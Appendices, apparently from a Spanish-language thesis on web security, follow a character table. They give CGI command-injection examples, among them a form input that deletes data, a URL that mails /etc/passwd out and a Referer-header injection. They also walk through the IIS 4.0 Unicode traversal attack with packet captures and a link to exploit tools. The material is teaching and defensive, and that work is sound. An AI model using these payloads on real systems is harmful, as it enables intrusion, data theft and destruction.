	0020
	SPACE
	 

	0021
	EXCLAMATION MARK
	 

	0022
	QUOTATION MARK
	 

	0023
	NUMBER SIGN
	 

	0024
	DOLLAR SIGN
	 

	0025
	PERCENT SIGN
	 

	0026
	AMPERSAND
	 

	0027
	APOSTROPHE
	APOSTROPHE-QUOTE

	0028
	LEFT PARENTHESIS
	OPENING PARENTHESIS

	0029
	RIGHT PARENTHESIS
	CLOSING PARENTHESIS

	002A
	ASTERISK
	 

	002B
	PLUS SIGN
	 

	002C
	COMMA
	 

	002D
	HYPHEN-MINUS
	 

	002E
	FULL STOP
	PERIOD

	002F
	SOLIDUS
	SLASH

	0030
	DIGIT ZERO
	 

	0031
	DIGIT ONE
	 

	0032
	DIGIT TWO
	 

	0033
	DIGIT THREE
	 

	0034
	DIGIT FOUR
	 

	0035
	DIGIT FIVE
	 

	0036
	DIGIT SIX
	 

	0037
	DIGIT SEVEN
	 

	0038
	DIGIT EIGHT
	 

	0039
	DIGIT NINE
	 

	003A
	COLON
	 

	003B
	SEMICOLON
	 

	003C
	LESS-THAN SIGN
	 

	003D
	EQUALS SIGN
	 

	003E
	GREATER-THAN SIGN
	 

	003F
	QUESTION MARK
	 

	0040
	COMMERCIAL AT
	 

	0041
	LATIN CAPITAL LETTER A
	 

	0042
	LATIN CAPITAL LETTER B
	 

	0043
	LATIN CAPITAL LETTER C
	 

	0044
	LATIN CAPITAL LETTER D
	 

	0045
	LATIN CAPITAL LETTER E
	 

	0046
	LATIN CAPITAL LETTER F
	 

	0047
	LATIN CAPITAL LETTER G
	 

	0048
	LATIN CAPITAL LETTER H
	 

	0049
	LATIN CAPITAL LETTER I
	 

	004A
	LATIN CAPITAL LETTER J
	 

	004B
	LATIN CAPITAL LETTER K
	 

	004C
	LATIN CAPITAL LETTER L
	 

	004D
	LATIN CAPITAL LETTER M
	 

	004E
	LATIN CAPITAL LETTER N
	 

	004F
	LATIN CAPITAL LETTER O
	 

	0050
	LATIN CAPITAL LETTER P
	 

	0051
	LATIN CAPITAL LETTER Q
	 

	0052
	LATIN CAPITAL LETTER R
	 

	0053
	LATIN CAPITAL LETTER S
	 

	0054
	LATIN CAPITAL LETTER T
	 

	0055
	LATIN CAPITAL LETTER U
	 

	0056
	LATIN CAPITAL LETTER V
	 

	0057
	LATIN CAPITAL LETTER W
	 

	0058
	LATIN CAPITAL LETTER X
	 

	0059
	LATIN CAPITAL LETTER Y
	 

	005A
	LATIN CAPITAL LETTER Z
	 

	005B
	LEFT SQUARE BRACKET
	OPENING SQUARE BRACKET

	005C
	REVERSE SOLIDUS
	BACKSLASH

	005D
	RIGHT SQUARE BRACKET
	CLOSING SQUARE BRACKET

	005E
	CIRCUMFLEX ACCENT
	SPACING CIRCUMFLEX

	005F
	LOW LINE
	SPACING UNDERSCORE

	0060
	GRAVE ACCENT
	SPACING GRAVE

	0061
	LATIN SMALL LETTER A
	 

	0062
	LATIN SMALL LETTER B
	 

	0063
	LATIN SMALL LETTER C
	 

	0064
	LATIN SMALL LETTER D
	 

	0065
	LATIN SMALL LETTER E
	 

	0066
	LATIN SMALL LETTER F
	 

	0067
	LATIN SMALL LETTER G
	 

	0068
	LATIN SMALL LETTER H
	 

	0069
	LATIN SMALL LETTER I
	 

	006A
	LATIN SMALL LETTER J
	 

	006B
	LATIN SMALL LETTER K
	 

	006C
	LATIN SMALL LETTER L
	 

	006D
	LATIN SMALL LETTER M
	 

	006E
	LATIN SMALL LETTER N
	 

	006F
	LATIN SMALL LETTER O
	 

	0070
	LATIN SMALL LETTER P
	 

	0071
	LATIN SMALL LETTER Q
	 

	0072
	LATIN SMALL LETTER R
	 

	0073
	LATIN SMALL LETTER S
	 

	0074
	LATIN SMALL LETTER T
	 

	0075
	LATIN SMALL LETTER U
	 

	0076
	LATIN SMALL LETTER V
	 

	0077
	LATIN SMALL LETTER W
	 

	0078
	LATIN SMALL LETTER X
	 

	0079
	LATIN SMALL LETTER Y
	 

	007A
	LATIN SMALL LETTER Z
	 

	007B
	LEFT CURLY BRACKET
	OPENING CURLY BRACKET

	007C
	VERTICAL LINE
	VERTICAL BAR

	007D
	RIGHT CURLY BRACKET
	CLOSING CURLY BRACKET

	007E
	TILDE
	 

	007F
	<control>
	DELETE


ANEXO II. EJEMPLOS ATAQUES CGI 

Ejemplos tomados del artículo de Gonzalo Alvarez Marañon, Seguridad en CGI [34].

1. Ataque a través de una base de datos

Todavía pueden encontrarse muchas bases de datos sencillas (o cutres, según se mire), formadas por un único archivo plano (flat file), donde se encuentra en caracteres ASCII la información que contiene la base de datos. El proceso de creación de una base de datos de formato plano se reduce a crear un fichero cuyas entradas se corresponden con los campos de la base de datos. A la simplicidad de creación, se añade la facilidad a la hora de hacer consultas, por ejemplo sirviéndose de herramientas de búsqueda del propio sistema operativo, como grep, que devuelve las líneas que contengan al término de búsqueda suministrado. De esta forma, nos devolvería todos los registros asociados a la palabra a buscar. Un ejemplo típico sería la minibase de datos con las contraseñas de los usuarios en un sistema Unix, el famoso /etc/passwd.

Supongamos que disponemos en nuestro servidor Web de una base de datos tal, llamada personal, y queremos conocer la información referente al usuario Gonzalo. Bien, bastaría con lanzar el siguiente comando: grep gonzalo personal y nos devolvería todas las líneas (registros) que contuviesen en alguno de sus campos la palabra "gonzalo".

El siguiente paso consistiría en automatizar el proceso desde una página Web, de manera que cualquier usuario pudiese realizar consultas. Para ello, se le presenta al usuario el siguiente formulario:

	Principio del formulario

Introduzca el nombre de la persona cuyos datos desea buscar:
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Enviar
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establecer


Final del formulario


Hasta ahora todo parece perfectamente normal, pero ¿qué ocurriría si introduzco en el recuadro la siguiente cadena?: root /etc/passwd; rm
Copia la cadena al portapapeles, pégala en la casilla de búsqueda y pulsa el botón de enviar.

En este caso se buscaría la línea correspondiente a la clave del root en el fichero /etc/passwd y a continuación se borraría la base de datos personal. Todo ello por no preocuparse de filtrar la entrada del usuario.

2. Vulnerabilidad en CGI

Se quiere enviar un correo a alguna de las siguientes personas:

	Principio del formulario
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Maureen Alies
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Juan Montoya
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[image: image8.wmf]enviar correo


Final del formulario


Si en vez de apretar el botón de Enviar, examino el código HTML para ver lo que hace el formulario, se podría engañar al CGI escribiendo:

http://www.iec.csic.es/cgi-bin/vulnerable.exe?destinatario = gonzalo@iec.csic.es; sendmail -t m-alies@uniandes.edu.co < /etc/passwd;
Se puede hacer la prueba, poniendo cualquier dirección de correo o mandando ejecutar cualquier otro comando del shell.

Nota: Si no funciona, pruebe a sustituir los espacios por '%20'.

Otra posibilidad que tienes es guardar esta página en tu disco duro local. A continuación, edítala y en la línea siguiente:

<input type = radio name = "destinatario" value = "m-alies@uniandes,edu.co" checked>Maureen Alies<br>
se sustituye el contenido de value por lo siguiente:

gonzalo@iec.csic.es; sendmail -t m-alies@uniandes,edu.co < /etc/passwd;
Guardar el archivo y luego cargarlo en el navegador. Cuando se pulse el botón de "Enviar correo", se producirá el mismo efecto que antes.

Nota: Si no funciona, prueba a sustituir los espacios por '%20', al igual que antes.

En vez de punto y coma, ";", se pueden separar los comandos por retornos de carro, que de hecho es la forma más natural. En el caso de HTTP, en la cadena de URL los retornos de carro se codifican como "%0a". Por lo tanto, es importante no olvidarse de filtrar en la entrada también los carateres de retorno de carro y alimentación de línea, "\n" y "\r", ya que en caso contrario, si nos olvidamos de ellos, podría ocurrir que utilizando el retorno de carro un atacante consiga encadenar varios comandos de entrada al CGI, con posibles efectos desastrosos.

3. Ataque a través de HTTP_REFERER

Si se quiere procesar un formulario para lo cual hay que pulsar un botón:

	Principio del formulario
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Final del formulario


Al pulsar el botón, vemos que nos aparece la dirección de la página desde la que venimos. Si en vez de apretar el botón de Procesar datos, abro una conexión telnet al puerto 80 y envío el siguiente comando, se obtiene:

telnet www.iec.csic.es 80
Trying 161.111.31.119...
Connected to viznar.iec.csic.es.
Escape character is '^]'.
GET /cgi-bin/referer.exe HTTP/1.0
Referer: "dir"
 
HTTP/1.0 200 OK
Server: Microsoft-IIS/3.0
Date: Tue, 24 Mar 1998 17:56:55 GMT
Content-type: text/html
 
<html> <head>
<title>Cómo explotar el HTTP_REFERER</title>
</head>
 
<body>
<h1>Cómo explotar el HTTP_REFERER</h1>
Vienes de HTTP_REFERER = "dir"
</body> </html>
Connection closed by foreign host. 
Nota: En negrilla aparece lo que se debe escribir en el computador. En cursiva, las respuestas del servidor.

Como se puede observar, ahora HTTP_REFERER pasa a tomar el valor que se le haya especificado, "dir" en el ejemplo. Si se dispone de cliente telnet, solo se tiene repetir los pasos que aparecen en negrilla, modificando a voluntad el comando. Si en el script en CGI ocurriese alguna línea como la siguiente: 

if [ $HTTP_REFERER ]
se ejecutaría el comando en un shell. Por razones obvias, no se puso disponible una versión completa del ejemplo. 

Imagine una petición Web fabricada con telnet que fuese de esta forma:

GET /cgi-bin/referer.exe HTTP/1.0
Referer: "`chmod -R a+w"
donde referer.exe incluye la cláusula if anterior. Lo que ocurriría es que ese directorio y todos los que cuelguen por debajo pasarían a tener permiso de escritura por todo el mundo. Catastrófico. Cualquiera podría modificar las páginas del servidor, por ejemplo.

Este ejemplo tan sencillo nos muestra cómo NUNCA se debe dar por supuesto ningún valor que sea recibido del cliente, ni siquiera variables de sistema como el HTTP_REFERER.

ANEXO III. DEMO

Este demo explota las vulnerabilidades que tiene el IIS 4.0 en la interpretación de algunos códigos, este ataque es más conocido como el ataque del Unicode.

Características de la maquina a atacar:

· Sistema Operativo Windows Nt 4

· IIS 4.0 (Http únicamente)

· Nombre de la maquina KAKAROTO

· Sistema de archivos NTFS

· Dirección IP: 157.253.32.20

Consideraciones adicionales:

· Dirección IP de donde se genero el ataque 157.253.62.33

· El análisis del tráfico realizado fue monitoreado con la herramienta iris provisto por eEye.com
, con el cual podemos obtener una descripción detallada de cada uno de los paquetes que esta mandando el atacante al servidor Http.

El ataque realizado es el siguiente:

Http://157.253.32.20/Scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+Dir+c:\

Decodificación de la petición 

GET /Scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+Dir+c:\ HTTP/1.1

Accept: */*

Accept-Language: es-co

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)

Host: 157.253.32.20

Connection: Keep-Alive

Petición realizada por el cliente

HTTP/1.0 200 OK

Server: Microsoft-IIS/2.0

Date: Wed, 13 Feb 2002 21:35:04 GMT

Content-Type: application/octet-stream

El volumen de la unidad C no tiene etiqueta.

El número de serie del volumen es: B8AA-061F

 Directorio de c:\

12/02/02  11.56                   Archivos de programa

14/01/96  19.36                      0 AUTOEXEC.BAT

14/01/96  19.36                      0 CONFIG.SYS

13/02/02  09.09                   InetPub

12/02/02  14.31             67.108.864 pagefile.sys

14/01/96  19.36                   TEMP

12/02/02  18.36                   WINNT

               7 archivos     67.108.864 bytes

                          1.933.735.936 bytes libres

Respuesta dada por el servidor HTTP

4. Tráfico de la petición realizada

A continuación se mostrara el tráfico obtenido con el paquete Iris, se mostrara todo el trafico completo del ataque y al final se realizara la descripción de cada uno de estos, los paquetes que se envían o se reciben poseen la siguiente estructura:

No:                   Número del paquete dentro de la secuencia

Timestamp:            Estampilla de tiempo

MAC source address:   Dirección MAC del equipo fuente

MAC dest address:     Dirección MAC del equipo destino

Frame type:           tipo de paquete (TCP/IP)

Protocol:             Protocolo utilizado

Source IP address:    Dirección IP origen

Dest IP address:      Dirección IP destino

Source port:          Puerto de origen de la solicitud

Destination port:     Puerto de destino de la solicitud

SEQ:                  Número de secuencia del origen

ACK:                  Número de secuencia del destino

Packet size:          tamaño del paquete

Packet data:

0000: representación hexagecimal de la información    representación 

AsCII de la  

información

=====================================================================

No:                   1

Timestamp:            16:36:19:288

MAC source address:   00:B0:D0:C1:88:24

MAC dest address:     00:01:43:FB:3C:1B

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.62.2

Dest IP address:      157.253.32.20

Source port:          3953

Destination port:     80

SEQ:                  3942539052

ACK:                  0

Packet size:          62

Packet data:

0000: 00 01 43 FB 3C 1B 00 B0 D0 C1 88 24 08 00 45 00 ..C........$..E.

0010: 00 30 9D 66 40 00 80 06 00 00 9D FD 3E 02 9D FD .0.f@...........

0020: 20 14 0F 71 00 50 EA FE 5F 2C 00 00 00 00 70 02  ..q.P.._,....p.

0030: 40 00 4F 22 00 00 02 04 05 B4 01 01 04 02       @.O"..........

=====================================================================

No:                   2

Timestamp:            16:36:19:288

MAC source address:   00:01:43:FB:3C:1B

MAC dest address:     00:B0:D0:C1:88:24

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.32.20

Dest IP address:      157.253.62.2

Source port:          80

Destination port:     3953

SEQ:                  93825744

ACK:                  3942539053

Packet size:          60

Packet data:

0000: 00 B0 D0 C1 88 24 00 01 43 FB 3C 1B 08 00 45 00 .....$..C.....E.

0010: 00 2C 95 4C 40 00 7F 06 CC 6E 9D FD 20 14 9D FD .,.L@....n.. ...

0020: 3E 02 00 50 0F 71 05 97 AA D0 EA FE 5F 2D 60 12 ...P.q......_-`.

0030: 22 38 D1 78 00 00 02 04 05 B4 B4 B4             "8.x........

=====================================================================

No:                   3

Timestamp:            16:36:19:288

MAC source address:   00:B0:D0:C1:88:24

MAC dest address:     00:01:43:FB:3C:1B

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.62.2

Dest IP address:      157.253.32.20

Source port:          3953

Destination port:     80

SEQ:                  3942539053

ACK:                  93825745

Packet size:          54

Packet data:

0000: 00 01 43 FB 3C 1B 00 B0 D0 C1 88 24 08 00 45 00 ..C........$..E.

0010: 00 28 9D 68 40 00 80 06 00 00 9D FD 3E 02 9D FD .(.h@...........

0020: 20 14 0F 71 00 50 EA FE 5F 2D 05 97 AA D1 50 10  ..q.P.._-....P.

0030: 44 70 9A 2B 00 00                               Dp.+..

=====================================================================

No:                   4

Timestamp:            16:36:19:288

MAC source address:   00:B0:D0:C1:88:24

MAC dest address:     00:01:43:FB:3C:1B

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.62.2

Dest IP address:      157.253.32.20

Source port:          3953

Destination port:     80

SEQ:                  3942539053

ACK:                  93825745

Packet size:          306

Packet data:

0000: 00 01 43 FB 3C 1B 00 B0 D0 C1 88 24 08 00 45 00 ..C........$..E.

0010: 01 24 9D 69 40 00 80 06 00 00 9D FD 3E 02 9D FD .$.i@...........

0020: 20 14 0F 71 00 50 EA FE 5F 2D 05 97 AA D1 50 18  ..q.P.._-....P.

0030: 44 70 9B 27 00 00 47 45 54 20 2F 73 63 72 69 70 Dp.'..GET /scrip

0040: 74 73 2F 2E 2E 25 32 35 35 63 2E 2E 25 32 35 35 ts/..%255c..%255

0050: 63 77 69 6E 6E 74 2F 73 79 73 74 65 6D 33 32 2F cwinnt/system32/

0060: 63 6D 64 2E 65 78 65 3F 2F 63 2B 44 69 72 2B 63 cmd.exe?/c+Dir+c

0070: 3A 5C 20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 :\ HTTP/1.1..Acc

0080: 65 70 74 3A 20 2A 2F 2A 0D 0A 41 63 63 65 70 74 ept: */*..Accept

0090: 2D 4C 61 6E 67 75 61 67 65 3A 20 65 73 2D 63 6F -Language: es-co

00A0: 0D 0A 41 63 63 65 70 74 2D 45 6E 63 6F 64 69 6E ..Accept-Encodin

00B0: 67 3A 20 67 7A 69 70 2C 20 64 65 66 6C 61 74 65 g: gzip, deflate

00C0: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo

00D0: 7A 69 6C 6C 61 2F 34 2E 30 20 28 63 6F 6D 70 61 zilla/4.0 (compa

00E0: 74 69 62 6C 65 3B 20 4D 53 49 45 20 35 2E 30 31 tible; MSIE 5.01

00F0: 3B 20 57 69 6E 64 6F 77 73 20 4E 54 20 35 2E 30 ; Windows NT 5.0

0100: 29 0D 0A 48 6F 73 74 3A 20 31 35 37 2E 32 35 33 )..Host: 157.253

0110: 2E 33 32 2E 32 30 0D 0A 43 6F 6E 6E 65 63 74 69 .32.20..Connecti

0120: 6F 6E 3A 20 4B 65 65 70 2D 41 6C 69 76 65 0D 0A on: Keep-Alive..

0130: 0D 0A                                           ..

=====================================================================

No:                   5

Timestamp:            16:36:19:428

MAC source address:   00:01:43:FB:3C:1B

MAC dest address:     00:B0:D0:C1:88:24

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.32.20

Dest IP address:      157.253.62.2

Source port:          80

Destination port:     3953

SEQ:                  93825745

ACK:                  3942539305

Packet size:          60

Packet data:

0000: 00 B0 D0 C1 88 24 00 01 43 FB 3C 1B 08 00 45 00 .....$..C.....E.

0010: 00 28 96 4C 40 00 7F 06 CB 72 9D FD 20 14 9D FD .(.L@....r.. ...

0020: 3E 02 00 50 0F 71 05 97 AA D1 EA FE 60 29 50 10 ...P.q......`)P.

0030: 21 3C E9 35 00 00 00 00 00 00 00 00             !..5........

=====================================================================

No:                   6

Timestamp:            16:36:21:221

MAC source address:   00:01:43:FB:3C:1B

MAC dest address:     00:B0:D0:C1:88:24

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.32.20

Dest IP address:      157.253.62.2

Source port:          80

Destination port:     3953

SEQ:                  93825745

ACK:                  3942539305

Packet size:          269

Packet data:

0000: 00 B0 D0 C1 88 24 00 01 43 FB 3C 1B 08 00 45 00 .....$..C.....E.

0010: 00 FF 97 4C 40 00 7F 06 C9 9B 9D FD 20 14 9D FD ...L@....... ...

0020: 3E 02 00 50 0F 71 05 97 AA D1 EA FE 60 29 50 18 ...P.q......`)P.

0030: 21 3C 38 D7 00 00 48 54 54 50 2F 31 2E 30 20 32 !.8...HTTP/1.0 2

0040: 30 30 20 4F 4B 0D 0A 53 65 72 76 65 72 3A 20 4D 00 OK..Server: M

0050: 69 63 72 6F 73 6F 66 74 2D 49 49 53 2F 32 2E 30 icrosoft-IIS/2.0

0060: 0D 0A 44 61 74 65 3A 20 57 65 64 2C 20 31 33 20 ..Date: Wed, 13 

0070: 46 65 62 20 32 30 30 32 20 32 31 3A 33 35 3A 30 Feb 2002 21:35:0

0080: 34 20 47 4D 54 0D 0A 43 6F 6E 74 65 6E 74 2D 54 4 GMT..Content-T

0090: 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F 6E ype: application

00A0: 2F 6F 63 74 65 74 2D 73 74 72 65 61 6D 0D 0A 45 /octet-stream..E

00B0: 6C 20 76 6F 6C 75 6D 65 6E 20 64 65 20 6C 61 20 l volumen de la 

00C0: 75 6E 69 64 61 64 20 43 20 6E 6F 20 74 69 65 6E unidad C no tien

00D0: 65 20 65 74 69 71 75 65 74 61 2E 0D 0A 45 6C 20 e etiqueta...El 

00E0: 6E FA 6D 65 72 6F 20 64 65 20 73 65 72 69 65 20 n.mero de serie 

00F0: 64 65 6C 20 76 6F 6C 75 6D 65 6E 20 65 73 3A 20 del volumen es: 

0100: 42 38 41 41 2D 30 36 31 46 0D 0A 0D 0A          B8AA-061F....

=====================================================================

No:                   7

Timestamp:            16:36:21:341

MAC source address:   00:01:43:FB:3C:1B

MAC dest address:     00:B0:D0:C1:88:24

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.32.20

Dest IP address:      157.253.62.2

Source port:          80

Destination port:     3953

SEQ:                  93825960

ACK:                  3942539305

Packet size:          535

Packet data:

0000: 00 B0 D0 C1 88 24 00 01 43 FB 3C 1B 08 00 45 00 .....$..C.....E.

0010: 02 09 98 4C 40 00 7F 06 C7 91 9D FD 20 14 9D FD ...L@....... ...

0020: 3E 02 00 50 0F 71 05 97 AB A8 EA FE 60 29 50 19 ...P.q......`)P.

0030: 21 3C 56 B3 00 00 20 44 69 72 65 63 74 6F 72 69 !.V... Directori

0040: 6F 20 64 65 20 63 3A 5C 0D 0A 0D 0A 31 32 2F 30 o de c:\....12/0

0050: 32 2F 30 32 20 20 31 31 2E 35 36 20 20 20 20 20 2/02  11.56     

0060: 20 20 20 20 3C 44 49 52 3E 20 20 20 20 20 20 20     .DIR.       

0070: 20 20 20 41 72 63 68 69 76 6F 73 20 64 65 20 70    Archivos de p

0080: 72 6F 67 72 61 6D 61 0D 0A 31 34 2F 30 31 2F 39 rograma..14/01/9

0090: 36 20 20 31 39 2E 33 36 20 20 20 20 20 20 20 20 6  19.36        

00A0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 30 20               0 

00B0: 41 55 54 4F 45 58 45 43 2E 42 41 54 0D 0A 31 34 AUTOEXEC.BAT..14

00C0: 2F 30 31 2F 39 36 20 20 31 39 2E 33 36 20 20 20 /01/96  19.36   

00D0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                 

00E0: 20 20 20 30 20 43 4F 4E 46 49 47 2E 53 59 53 0D    0 CONFIG.SYS.

00F0: 0A 31 33 2F 30 32 2F 30 32 20 20 30 39 2E 30 39 .13/02/02  09.09

0100: 20 20 20 20 20 20 20 20 20 3C 44 49 52 3E 20 20          .DIR.  

0110: 20 20 20 20 20 20 20 20 49 6E 65 74 50 75 62 0D         InetPub.

0120: 0A 31 32 2F 30 32 2F 30 32 20 20 31 34 2E 33 31 .12/02/02  14.31

0130: 20 20 20 20 20 20 20 20 20 20 20 20 20 36 37 2E              67.

0140: 31 30 38 2E 38 36 34 20 70 61 67 65 66 69 6C 65 108.864 pagefile

0150: 2E 73 79 73 0D 0A 31 34 2F 30 31 2F 39 36 20 20 .sys..14/01/96  

0160: 31 39 2E 33 36 20 20 20 20 20 20 20 20 20 3C 44 19.36         .D

0170: 49 52 3E 20 20 20 20 20 20 20 20 20 20 54 45 4D IR.          TEM

0180: 50 0D 0A 31 32 2F 30 32 2F 30 32 20 20 31 38 2E P..12/02/02  18.

0190: 33 36 20 20 20 20 20 20 20 20 20 3C 44 49 52 3E 36         .DIR.

01A0: 20 20 20 20 20 20 20 20 20 20 57 49 4E 4E 54 0D           WINNT.

01B0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .               

01C0: 37 20 61 72 63 68 69 76 6F 73 20 20 20 20 20 36 7 archivos     6

01D0: 37 2E 31 30 38 2E 38 36 34 20 62 79 74 65 73 0D 7.108.864 bytes.

01E0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .               

01F0: 20 20 20 20 20 20 20 20 20 20 20 31 2E 39 33 33            1.933

0200: 2E 37 33 35 2E 39 33 36 20 62 79 74 65 73 20 6C .735.936 bytes l

0210: 69 62 72 65 73 0D 0A                            ibres..

=====================================================================

No:                   8

Timestamp:            16:36:21:341

MAC source address:   00:B0:D0:C1:88:24

MAC dest address:     00:01:43:FB:3C:1B

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.62.2

Dest IP address:      157.253.32.20

Source port:          3953

Destination port:     80

SEQ:                  3942539305

ACK:                  93826442

Packet size:          54

Packet data:

0000: 00 01 43 FB 3C 1B 00 B0 D0 C1 88 24 08 00 45 00 ..C........$..E.

0010: 00 28 9D 6E 40 00 80 06 00 00 9D FD 3E 02 9D FD .(.n@...........

0020: 20 14 0F 71 00 50 EA FE 60 29 05 97 AD 8A 50 10  ..q.P..`)....P.

0030: 41 B8 9A 2B 00 00                               A..+..

=====================================================================

No:                   9

Timestamp:            16:36:21:351

MAC source address:   00:B0:D0:C1:88:24

MAC dest address:     00:01:43:FB:3C:1B

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.62.2

Dest IP address:      157.253.32.20

Source port:          3953

Destination port:     80

SEQ:                  3942539305

ACK:                  93826442

Packet size:          54

Packet data:

0000: 00 01 43 FB 3C 1B 00 B0 D0 C1 88 24 08 00 45 00 ..C........$..E.

0010: 00 28 9D 6F 40 00 80 06 00 00 9D FD 3E 02 9D FD .(.o@...........

0020: 20 14 0F 71 00 50 EA FE 60 29 05 97 AD 8A 50 11  ..q.P..`)....P.

0030: 41 B8 9A 2B 00 00                               A..+..

=====================================================================

No:                   10

Timestamp:            16:36:21:351

MAC source address:   00:01:43:FB:3C:1B

MAC dest address:     00:B0:D0:C1:88:24

Frame type:           IP

Protocol:             TCP-> HTTP

Source IP address:    157.253.32.20

Dest IP address:      157.253.62.2

Source port:          80

Destination port:     3953

SEQ:                  93826442

ACK:                  3942539306

Packet size:          60

Packet data:

0000: 00 B0 D0 C1 88 24 00 01 43 FB 3C 1B 08 00 45 00 .....$..C.....E.

0010: 00 28 99 4C 40 00 7F 06 C8 72 9D FD 20 14 9D FD .(.L@....r.. ...

0020: 3E 02 00 50 0F 71 05 97 AD 8A EA FE 60 2A 50 10 ...P.q......`*P.

0030: 21 3C E6 7B 00 00 00 00 00 00 00 00             !..{........

=====================================================================

En los paquetes No: 1, 2, 3 se realiza la sincronización en tres sentidos.(SYN, SYN ACK, ACK)

El paquete No: 4 El Cliente le envía al servidor la información de la solicitud Http. (PUSH ACK)

a. El paquete No: 5 El servidor envía un paquete con la comprobación de la recepción de la información enviada por el cliente. (ACK)

b. El paquete No: 6 El servidor envía la respuesta de la solicitud realizada por el cliente. (PUSH ACK)

c. El paquete No: 7 El servidor envía la respuesta de la solicitud realizada por el cliente. (PUSH ACK)

d. El paquete No: 8 El cliente envía un paquete con la comprobación de la recepción de la información enviada por el servidor. (ACK)

e. El paquete No: 9 El cliente envía un paquete de comprobación. (ACK)

f. El paquete No: 10 El servidor envía un paquete de comprobación. (ACK)

En el log del servidor Web el ataque se observa de la siguiente manera:

157.253.62.2, -, 13/02/02, 16:22:34, W3SVC, KAKAROTO, 157.253.32.20, 3575, 389, 696, 200, 0, GET, /Scripts/..%5c..%5c..%5cwinnt/system32/cmd.exe, /c+Dir+c:\,

En esta dirección pueden encontrar una gran variedad de programas que pueden explotar esta debilidad

Http://astalavista.com/tools/auditing/network/Http-server/
Puerta Abierta para el atacante.





Redirección de la solicitud del Browser e inserción del Script malicioso.





Atracción de la victima para que interactúe con el atacante, haciendo uso de contenido interesante.





Paso necesario si se esta interesado en recibir información (por ejemplo números de tarjetas de crédito).





Desarrollo de componentes receptores.





Análisis  del sitio Web; desarrollo del Script malicioso y su método de inserción.





Selección del sitio Web por el atacante; usualmente un sitio de e-commerce.
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